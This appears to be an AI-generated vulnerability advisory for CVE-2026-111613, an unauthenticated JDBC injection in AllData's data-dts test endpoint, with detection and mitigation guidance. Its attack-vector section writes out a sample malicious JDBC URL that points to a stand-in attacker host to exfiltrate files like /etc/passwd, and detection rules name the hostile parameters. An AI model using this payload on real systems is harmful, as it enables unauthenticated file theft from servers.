Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB
CVE-2026-111613 Overview
CVE-2026-111613 is an unauthenticated JDBC injection vulnerability affecting AllData through version 0.7.1. The flaw resides in the data-dts component, specifically the /jobJdbcDatasource/test endpoint exposed by JobDatasourceController. The endpoint accepts attacker-controlled jdbcUrl and jdbcDriverClass parameters without authentication, allowing remote attackers to open arbitrary database connections from the server. By supplying a MySQL JDBC URL with allowLoadLocalInfile=true pointing to an attacker-controlled rogue MySQL server, an attacker can coerce the AllData host into reading arbitrary files and sending their contents back to the attacker. The weakness is categorized as [CWE-306: Missing Authentication for a Critical Function].
Critical Impact
Unauthenticated remote attackers can read arbitrary files from the data-dts host by abusing the MySQL LOAD DATA LOCAL INFILE behavior through a crafted JDBC connection string.
Affected Products
- AllData through version 0.7.1
- AllData data-dts module (service-data-dts)
- Deployments exposing the /jobJdbcDatasource/test endpoint to untrusted networks
Discovery Timeline
- 2026-10-16 - CVE-2026-111613 published to the National Vulnerability Database
- 2026-10-16 - Last updated in NVD database
Technical Details for CVE-2026-111613
Vulnerability Analysis
AllData is an open-source data middleware platform. Its data-dts service exposes a datasource test endpoint intended to validate JDBC connectivity before scheduling data jobs. The WebSecurityConfiguration class in the data-dts module permits the /jobJdbcDatasource/test route to be reached without authentication. The JobDatasourceController.test handler forwards the submitted jdbcUrl and jdbcDriverClass directly to BaseQueryTool, which instantiates the specified driver and opens a connection to the attacker-supplied URL.
Because the server initiates an outbound JDBC connection to an arbitrary host, attackers can point the connection at a rogue MySQL server they control. When the client-side allowLoadLocalInfile=true option is enabled in the connection string, a malicious MySQL server can respond to any query with a LOCAL INFILE request. The JDBC client then transmits the contents of a file on the AllData host back to the attacker.
Root Cause
The root cause is a combination of missing authentication on a sensitive endpoint and unsafe acceptance of user-controlled JDBC connection parameters. No allowlist is applied to drivers, URLs, hosts, or JDBC properties such as allowLoadLocalInfile, autoDeserialize, or queryInterceptors.
Attack Vector
An unauthenticated remote attacker sends an HTTP request to /jobJdbcDatasource/test with a jdbcDriverClass of com.mysql.cj.jdbc.Driver and a jdbcUrl such as jdbc:mysql://attacker.tld:3306/test?allowLoadLocalInfile=true&useSSL=false. The AllData server connects to the rogue MySQL instance, which replies to the handshake query with a LOCAL INFILE request for a path like /etc/passwd or application configuration files. The resulting file contents are sent to the attacker. Depending on the driver version, additional JDBC exploitation techniques such as deserialization gadget chains may extend the impact.
See the VulnCheck Advisory and the HackMD write-up for complete technical details.
Detection Methods for CVE-2026-111613
Indicators of Compromise
- Inbound HTTP requests to /jobJdbcDatasource/test from external or unexpected source addresses
- Request bodies containing jdbcUrl values with allowLoadLocalInfile=true, autoDeserialize=true, or queryInterceptors
- Outbound TCP connections from the data-dts service to MySQL ports (3306) on untrusted hosts
- Access to sensitive local files by the AllData JVM process shortly after a test request
Detection Strategies
- Alert on any HTTP request to /jobJdbcDatasource/test where the jdbcUrl field contains suspicious parameters such as allowLoadLocalInfile, autoDeserialize, or # fragments pointing to arbitrary hosts.
- Baseline legitimate JDBC destinations and flag outbound database connections from the AllData host to any address outside the allowlist.
- Correlate web access logs for /jobJdbcDatasource/test with subsequent file-read syscalls by the JVM to identify successful file exfiltration.
Monitoring Recommendations
- Enable application-layer logging that captures full POST bodies for datasource test requests, with secrets redacted.
- Monitor the AllData service for anomalous egress to TCP/3306, TCP/1433, TCP/5432, and other JDBC-related ports.
- Review BaseQueryTool driver load events for unexpected JDBC driver classes being instantiated at runtime.
How to Mitigate CVE-2026-111613
Immediate Actions Required
- Restrict network access to the data-dts service so the /jobJdbcDatasource/test endpoint is reachable only from trusted administrative networks.
- Place AllData behind an authenticating reverse proxy that requires valid credentials for all /jobJdbcDatasource/* routes.
- Audit AllData hosts for signs of file disclosure, focusing on configuration files, SSH keys, and credential stores.
Patch Information
At the time of publication, no fixed release is listed in NVD for AllData beyond 0.7.1. Monitor the AllData GitHub repository for security updates and apply the vendor patch when available. Until then, treat all deployments at or below 0.7.1 as vulnerable.
Workarounds
- Add an authentication filter in WebSecurityConfiguration so that /jobJdbcDatasource/test requires an authenticated administrator session.
- Enforce a server-side allowlist of permitted jdbcDriverClass values and reject JDBC URLs containing allowLoadLocalInfile, autoDeserialize, or queryInterceptors parameters.
- Block outbound connections from the AllData host to database ports on untrusted networks using host or network firewall rules.
# Example nginx snippet to require authentication on the vulnerable endpoint
location /jobJdbcDatasource/test {
auth_basic "AllData Admin";
auth_basic_user_file /etc/nginx/.htpasswd;
allow 10.0.0.0/8;
deny all;
proxy_pass http://alldata_backend;
}
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB

